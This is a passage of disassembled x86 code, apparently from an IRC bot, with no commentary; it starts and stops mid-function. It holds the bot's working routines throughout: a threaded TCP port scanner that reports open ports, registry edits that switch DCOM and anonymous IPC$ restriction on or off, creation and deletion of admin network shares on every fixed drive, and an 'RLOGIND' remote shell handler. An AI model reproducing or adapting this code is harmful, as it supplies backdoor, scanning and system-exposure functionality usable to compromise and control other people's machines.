ebx pop esi pop ebx retn sub_413590 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc ; "PC" mov dword ptr [ebp-4], 100h xor edi, edi call ds:dword_494308 push eax call sub_418FF0 pop ecx lea eax, [ebp-4] push eax push esi call ds:dword_4943B4 test eax, eax jnz short loc_413612 mov esi, offset aPc_0 ; "PC" loc_413612: ; CODE XREF: .text:0041360Bj movsx eax, byte ptr [esi] push 41h pop ecx loc_413618: ; CODE XREF: .text:00413623j cmp eax, ecx jnz short loc_41361F push 1 pop edi loc_41361F: ; CODE XREF: .text:0041361Aj inc ecx cmp ecx, 5Bh jl short loc_413618 push 61h pop ecx loc_413628: ; CODE XREF: .text:00413633j cmp eax, ecx jnz short loc_41362F push 1 pop edi loc_41362F: ; CODE XREF: .text:0041362Aj inc ecx cmp ecx, 7Bh jl short loc_413628 test edi, edi jnz short loc_41363E mov esi, offset aPc_1 ; "PC" loc_41363E: ; CODE XREF: .text:00413637j mov edi, [ebp+8] push esi push 1Ch push edi call sub_418EF0 xor esi, esi add esp, 0Ch cmp dword_43E1BC, esi jle short loc_41367D loc_413657: ; CODE XREF: .text:0041367Bj call sub_419000 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_418EF0 add esp, 14h inc esi cmp esi, dword_43E1BC jl short loc_413657 loc_41367D: ; CODE XREF: .text:00413655j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_494308 push eax call sub_418FF0 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4943F0 mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_32 ; "%s|" push 1Ch push edi call sub_418EF0 xor esi, esi add esp, 10h cmp dword_43E1BC, esi jle short loc_4136F2 loc_4136CC: ; CODE XREF: .text:004136F0j call sub_419000 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_0 ; "%s%i" push 1Ch push edi call sub_418EF0 add esp, 14h inc esi cmp esi, dword_43E1BC jl short loc_4136CC loc_4136F2: ; CODE XREF: .text:004136CAj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_491E00 mov dword ptr [ebp-94h], 94h call ds:dword_4943F4 call ds:dword_494308 push eax call sub_418FF0 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_41377C cmp dword ptr [ebp-8Ch], 0 jnz short loc_41375C cmp dword ptr [ebp-84h], 1 jnz short loc_41374C mov esi, offset a95 ; "95" loc_41374C: ; CODE XREF: .text:00413745j cmp dword ptr [ebp-84h], 2 jnz short loc_4137B8 mov esi, offset aNt ; "NT" jmp short loc_4137B8 ; --------------------------------------------------------------------------- loc_41375C: ; CODE XREF: .text:0041373Cj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_41376C mov esi, offset a98 ; "98" jmp short loc_4137B8 ; --------------------------------------------------------------------------- loc_41376C: ; CODE XREF: .text:00413763j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4137B3 mov esi, offset aMe_0 ; "ME" jmp short loc_4137B8 ; --------------------------------------------------------------------------- loc_41377C: ; CODE XREF: .text:00413733j cmp dword ptr [ebp-90h], 5 jnz short loc_4137B3 cmp dword ptr [ebp-8Ch], 0 jnz short loc_413795 mov esi, offset a2k ; "2K" jmp short loc_4137B8 ; --------------------------------------------------------------------------- loc_413795: ; CODE XREF: .text:0041378Cj cmp dword ptr [ebp-8Ch], 1 jnz short loc_4137A5 mov esi, offset aXp ; "XP" jmp short loc_4137B8 ; --------------------------------------------------------------------------- loc_4137A5: ; CODE XREF: .text:0041379Cj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_4137B8 loc_4137B3: ; CODE XREF: .text:00413773j ; .text:00413783j mov esi, offset a??? ; "???" loc_4137B8: ; CODE XREF: .text:00413753j ; .text:0041375Aj ... mov edi, [ebp+8] push esi push offset aS_33 ; "[%s]|" push 1Ch push edi call sub_418EF0 xor esi, esi add esp, 10h cmp dword_43E1BC, esi jle short loc_4137FC loc_4137D6: ; CODE XREF: .text:004137FAj call sub_419000 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch push edi call sub_418EF0 add esp, 14h inc esi cmp esi, dword_43E1BC jl short loc_4137D6 loc_4137FC: ; CODE XREF: .text:004137D4j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413802 proc near ; CODE XREF: sub_4138AA+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_494308 xor edx, edx mov ecx, 337F9800h div ecx push 0 mov esi, eax cmp esi, 0Ah jbe short loc_413851 push offset aMirc_2 ; "mIRC" call dword_44B6CC ; FindWindowA test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_41383A mov eax, offset dword_491E04 loc_41383A: ; CODE XREF: sub_413802+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_418EF0 add esp, 14h jmp short loc_413876 ; --------------------------------------------------------------------------- loc_413851: ; CODE XREF: sub_413802+1Dj push offset aMirc_3 ; "mIRC" call dword_44B6CC ; FindWindowA test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_41386A mov eax, offset dword_491E08 loc_41386A: ; CODE XREF: sub_413802+61j push eax lea eax, [ebp+var_1C] push eax call sub_418D70 pop ecx pop ecx loc_413876: ; CODE XREF: sub_413802+4Dj lea eax, [ebp+var_1C] push eax call sub_418E70 pop ecx cmp eax, 2 pop esi jbe short loc_4138A5 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_419040 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_4191A0 add esp, 18h loc_4138A5: ; CODE XREF: sub_413802+82j mov eax, [ebp+arg_0] leave retn sub_413802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138AA proc near ; CODE XREF: sub_40823C+10Dp ; sub_40C22A+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_441CCC loc_4138B6: ; CODE XREF: sub_4138AA+3Fj cmp [ebp+arg_C], 0 jz short loc_4138D1 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_419360 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4138DB ; --------------------------------------------------------------------------- loc_4138D1: ; CODE XREF: sub_4138AA+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_4138DB: ; CODE XREF: sub_4138AA+25j test eax, eax jnz short loc_4138ED add esi, 14h inc edi cmp esi, offset aPc ; "PC" jl short loc_4138B6 jmp short loc_4138FB ; --------------------------------------------------------------------------- loc_4138ED: ; CODE XREF: sub_4138AA+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_441CD0[eax*4] pop ecx loc_4138FB: ; CODE XREF: sub_4138AA+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_41390E push [ebp+arg_0] call sub_413802 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4138AA+57j mov eax, [ebp+arg_0] pop ebp retn sub_4138AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413913 proc near ; DATA XREF: sub_4139E0+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_44B6C0 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_44B740 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4139D1 lea eax, [ebp+var_10] push 10h push eax push esi call dword_44B668 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_44D064[ecx], esi jz short loc_4139D1 push [ebp+var_34] push [ebp+var_28] call dword_44B74C ; inet_ntoa push eax mov edi, offset dword_491E0C push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open." push edi call sub_418D70 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40842D push edi call sub_4035E1 add esp, 28h loc_4139D1: ; CODE XREF: sub_413913+5Dj ; sub_413913+7Ej push esi call dword_44B758 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_413913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4139E0 proc near ; DATA XREF: sub_40C50A+35EDo var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_4942D8 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_413A0E: ; CODE XREF: sub_4139E0+ECj push [ebp+var_2C] push [ebp+var_20] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_130] push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d." push eax call sub_418D70 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_44CE58 push eax call sub_4191A0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_413913 push edi push edi call ds:dword_4942F4 cmp eax, edi mov [ebp+var_4], eax jz short loc_413A7A loc_413A6F: ; CODE XREF: sub_4139E0+98j cmp [ebp+var_C], edi jnz short loc_413A7A push 32h call esi jmp short loc_413A6F ; --------------------------------------------------------------------------- loc_413A7A: ; CODE XREF: sub_4139E0+8Dj ; sub_4139E0+92j push [ebp+var_4] call ds:dword_4942E0 push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_418A00 add esp, 0Ch push [ebp+arg_0] call dword_44B5F4 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_44B6BC ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_418A00 add esp, 0Ch jmp loc_413A0E sub_4139E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AD1 proc near ; DATA XREF: sub_40C50A+5F81o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_413B18 call sub_413B31 jmp short loc_413B1D ; --------------------------------------------------------------------------- loc_413B18: ; CODE XREF: sub_413AD1+3Ej call sub_413E55 loc_413B1D: ; CODE XREF: sub_413AD1+45j add esp, 10h push [ebp+var_14] call sub_416507 pop ecx push 0 call ds:dword_4942FC sub_413AD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B31 proc near ; CODE XREF: sub_413AD1+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_44B790, edi jnz loc_413C63 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_44B730 ; RegOpenKeyExA test eax, eax jnz short loc_413BBC mov ax, word_441E28 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_44B6E4 ; RegSetValueExA test eax, eax jz short loc_413B9E push offset aSecureDisableD ; "[SECURE]: Disable DCOM failed." jmp short loc_413BA3 ; --------------------------------------------------------------------------- loc_413B9E: ; CODE XREF: sub_413B31+64j push offset aSecureDcomDisa ; "[SECURE]: DCOM disabled." loc_413BA3: ; CODE XREF: sub_413B31+6Bj lea eax, [ebp+var_214] push eax call sub_418D70 pop ecx pop ecx push [ebp+var_4] call dword_44B69C ; RegCloseKey jmp short loc_413BCF ; --------------------------------------------------------------------------- loc_413BBC: ; CODE XREF: sub_413B31+36j lea eax, [ebp+var_214] push offset aSecureFailed_1 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_418D70 pop ecx pop ecx loc_413BCF: ; CODE XREF: sub_413B31+89j cmp [ebp+arg_C], edi jnz short loc_413BEE push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413BEE: ; CODE XREF: sub_413B31+A1j lea eax, [ebp+var_214] push eax call sub_4035E1 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_44B730 ; RegOpenKeyExA test eax, eax jnz short loc_413C5C lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_44B6E4 ; RegSetValueExA test eax, eax jz short loc_413C3E push offset aSecureFailed_2 ; "[SECURE]: Failed to restrict access to "... jmp short loc_413C43 ; --------------------------------------------------------------------------- loc_413C3E: ; CODE XREF: sub_413B31+104j push offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"... loc_413C43: ; CODE XREF: sub_413B31+10Bj lea eax, [ebp+var_214] push eax call sub_418D70 pop ecx pop ecx push [ebp+var_4] call dword_44B69C ; RegCloseKey jmp short loc_413C76 ; --------------------------------------------------------------------------- loc_413C5C: ; CODE XREF: sub_413B31+E2j push offset aSecureFailed_3 ; "[SECURE]: Failed to open IPC$ Restricti"... jmp short loc_413C68 ; --------------------------------------------------------------------------- loc_413C63: ; CODE XREF: sub_413B31+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_413C68: ; CODE XREF: sub_413B31+130j lea eax, [ebp+var_214] push eax call sub_418D70 pop ecx pop ecx loc_413C76: ; CODE XREF: sub_413B31+129j cmp [ebp+arg_C], edi jnz short loc_413C95 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413C95: ; CODE XREF: sub_413B31+148j lea eax, [ebp+var_214] push eax call sub_4035E1 cmp dword_44B7B8, edi pop ecx jnz loc_413E10 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_413CB8: ; CODE XREF: sub_413B31+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_44B60C cmp eax, edi mov [ebp+var_10], eax jz short loc_413D55 cmp eax, 0EAh jz short loc_413D55 mov esi, offset off_441DE8 loc_413CE9: ; CODE XREF: sub_413B31+21Dj push dword ptr [esi] push edi call sub_40A46C pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_413D00 push offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted." jmp short loc_413D05 ; --------------------------------------------------------------------------- loc_413D00: ; CODE XREF: sub_413B31+1C6j push offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%s' share." loc_413D05: ; CODE XREF: sub_413B31+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_413D38 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413D38: ; CODE XREF: sub_413B31+1EBj lea eax, [ebp+var_214] push eax call sub_4035E1 add esi, 8 pop ecx cmp esi, offset aIpc ; "IPC$" jl short loc_413CE9 jmp loc_413DED ; --------------------------------------------------------------------------- loc_413D55: ; CODE XREF: sub_413B31+1AAj ; sub_413B31+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_413DE4 loc_413D64: ; CODE XREF: sub_413B31+2AFj mov edi, [esi] push edi call sub_41B030 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_413DD9 push edi call sub_40A359 push eax push 0 call sub_40A46C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_413D93 push offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted." jmp short loc_413D98 ; --------------------------------------------------------------------------- loc_413D93: ; CODE XREF: sub_413B31+259j push offset aSecureFailed_5 ; "[SECURE]: Failed to delete '%S' share." loc_413D98: ; CODE XREF: sub_413B31+260j lea eax, [ebp+var_214] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_413DCC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413DCC: ; CODE XREF: sub_413B31+27Fj lea eax, [ebp+var_214] push eax call sub_4035E1 pop ecx loc_413DD9: ; CODE XREF: sub_413B31+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_413D64 xor edi, edi loc_413DE4: ; CODE XREF: sub_413B31+22Dj push [ebp+var_8] call dword_44B750 loc_413DED: ; CODE XREF: sub_413B31+21Fj cmp [ebp+var_10], 0EAh jz loc_413CB8 lea eax, [ebp+var_214] push offset aSecureNetworkS ; "[SECURE]: Network shares deleted." push eax call sub_418D70 pop ecx pop ecx pop ebx jmp short loc_413E23 ; --------------------------------------------------------------------------- loc_413E10: ; CODE XREF: sub_413B31+177j lea eax, [ebp+var_214] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_418D70 pop ecx pop ecx loc_413E23: ; CODE XREF: sub_413B31+2DDj cmp [ebp+arg_C], edi jnz short loc_413E41 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413E41: ; CODE XREF: sub_413B31+2F5j lea eax, [ebp+var_214] push eax call sub_4035E1 pop ecx push 1 pop eax pop edi pop esi leave retn sub_413B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E55 proc near ; CODE XREF: sub_413AD1:loc_413B18p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp dword_44B790, edi jnz loc_413F83 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_44B730 ; RegOpenKeyExA test eax, eax jnz short loc_413EE0 mov ax, word_442060 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call dword_44B6E4 ; RegSetValueExA test eax, eax jz short loc_413EC2 push offset aSecureEnableDc ; "[SECURE]: Enable DCOM failed." jmp short loc_413EC7 ; --------------------------------------------------------------------------- loc_413EC2: ; CODE XREF: sub_413E55+64j push offset aSecureDcomEnab ; "[SECURE]: DCOM enabled." loc_413EC7: ; CODE XREF: sub_413E55+6Bj lea eax, [ebp+var_220] push eax call sub_418D70 pop ecx pop ecx push [ebp+var_4] call dword_44B69C ; RegCloseKey jmp short loc_413EF3 ; --------------------------------------------------------------------------- loc_413EE0: ; CODE XREF: sub_413E55+36j lea eax, [ebp+var_220] push offset aSecureFailed_6 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_418D70 pop ecx pop ecx loc_413EF3: ; CODE XREF: sub_413E55+89j cmp [ebp+arg_C], edi jnz short loc_413F12 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413F12: ; CODE XREF: sub_413E55+A1j lea eax, [ebp+var_220] push eax call sub_4035E1 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_44B730 ; RegOpenKeyExA test eax, eax jnz short loc_413F7C lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], edi call dword_44B6E4 ; RegSetValueExA test eax, eax jz short loc_413F5E push offset aSecureFailed_7 ; "[SECURE]: Failed to unrestrict access t"... jmp short loc_413F63 ; --------------------------------------------------------------------------- loc_413F5E: ; CODE XREF: sub_413E55+100j push offset aSecureUnrestri ; "[SECURE]: Unrestricted access to the IP"... loc_413F63: ; CODE XREF: sub_413E55+107j lea eax, [ebp+var_220] push eax call sub_418D70 pop ecx pop ecx push [ebp+var_4] call dword_44B69C ; RegCloseKey jmp short loc_413F96 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413E55+E2j push offset aSecureFailed_8 ; "[SECURE]: Failed to open IPC$ restricti"... jmp short loc_413F88 ; --------------------------------------------------------------------------- loc_413F83: ; CODE XREF: sub_413E55+13j push offset aSecureAdvapi_0 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_413F88: ; CODE XREF: sub_413E55+12Cj lea eax, [ebp+var_220] push eax call sub_418D70 pop ecx pop ecx loc_413F96: ; CODE XREF: sub_413E55+125j cmp [ebp+arg_C], edi jnz short loc_413FB5 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_413FB5: ; CODE XREF: sub_413E55+144j lea eax, [ebp+var_220] push eax call sub_4035E1 cmp dword_44B7B8, edi pop ecx jnz loc_414127 mov esi, offset off_441DE8 loc_413FD3: ; CODE XREF: sub_413E55+1E7j push dword ptr [esi+4] push dword ptr [esi] push edi call sub_40A3C0 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_413FEE push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_413FF3 ; --------------------------------------------------------------------------- loc_413FEE: ; CODE XREF: sub_413E55+190j push offset aSecureFailed_9 ; "[SECURE]: Failed to add '%s' share." loc_413FF3: ; CODE XREF: sub_413E55+197j lea eax, [ebp+var_220] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_414026 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_414026: ; CODE XREF: sub_413E55+1B5j lea eax, [ebp+var_220] push eax call sub_4035E1 add esi, 8 pop ecx cmp esi, offset off_441DF8 jl short loc_413FD3 push ebx call ds:dword_4943F8 mov edi, eax mov bl, 41h test edi, edi jz loc_41410F loc_414051: ; CODE XREF: sub_413E55+2B4j mov eax, edi and eax, 1 cmp al, 1 jnz loc_414105 cmp bl, 41h jz loc_414105 movsx esi, bl push esi push offset aC_0 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_418EF0 push esi push offset aC_1 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_418EF0 add esp, 20h lea eax, [ebp+var_20] push eax call dword_44B720 ; GetDriveTypeA cmp eax, 3 jnz short loc_414105 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40A3C0 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_4140BF push offset aSecureShareS_1 ; "[SECURE]: Share '%s' added." jmp short loc_4140C4 ; --------------------------------------------------------------------------- loc_4140BF: ; CODE XREF: sub_413E55+261j push offset aSecureFaile_10 ; "[SECURE]: Failed to add '%s' share." loc_4140C4: ; CODE XREF: sub_413E55+268j lea eax, [ebp+var_220] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_4140F8 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_4140F8: ; CODE XREF: sub_413E55+287j lea eax, [ebp+var_220] push eax call sub_4035E1 pop ecx loc_414105: ; CODE XREF: sub_413E55+203j ; sub_413E55+20Cj ... inc bl shr edi, 1 jnz loc_414051 loc_41410F: ; CODE XREF: sub_413E55+1F6j lea eax, [ebp+var_220] push offset aSecureNetwor_0 ; "[SECURE]: Network shares added." push eax call sub_418D70 pop ecx xor edi, edi pop ecx pop ebx jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414127: ; CODE XREF: sub_413E55+173j lea eax, [ebp+var_220] push offset aSecureNetapi_0 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_418D70 pop ecx pop ecx loc_41413A: ; CODE XREF: sub_413E55+2D0j cmp [ebp+arg_C], edi jnz short loc_414158 push edi lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_414158: ; CODE XREF: sub_413E55+2E8j lea eax, [ebp+var_220] push eax call sub_4035E1 pop ecx push 1 pop eax pop edi pop esi leave retn sub_413E55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41416C proc near ; CODE XREF: sub_41301C+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4142BD imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_44D064[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_4942F4 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41448F lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_4141D7 call ds:dword_4942F0 push eax push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_403655 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_414211 ; --------------------------------------------------------------------------- loc_4141D7: ; CODE XREF: sub_41416C+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_414541 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_414218 call ds:dword_4942F0 push eax push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_403655 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4943D4 loc_414211: ; CODE XREF: sub_41416C+69j xor eax, eax jmp loc_4142B8 ; --------------------------------------------------------------------------- loc_414218: ; CODE XREF: sub_41416C+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_4943FC sub eax, ebx jz short loc_414272 dec eax jz short loc_41426C dec eax jz short loc_414258 call ds:dword_4942F0 push eax push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"... call sub_403655 pop ecx pop ecx jmp short loc_414287 ; --------------------------------------------------------------------------- loc_414258: ; CODE XREF: sub_41416C+D5j mov edi, ds:dword_4943D4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_414287 ; --------------------------------------------------------------------------- loc_41426C: ; CODE XREF: sub_41416C+D2j push ebx push dword ptr [esi+10h] jmp short loc_414276 ; --------------------------------------------------------------------------- loc_414272: ; CODE XREF: sub_41416C+CFj push ebx push dword ptr [esi+14h] loc_414276: ; CODE XREF: sub_41416C+104j call ds:dword_4943D4 push 1 push dword ptr [esi+8] call ds:dword_4943B8 loc_414287: ; CODE XREF: sub_41416C+EAj ; sub_41416C+FEj push dword ptr [esi+10h] mov edi, 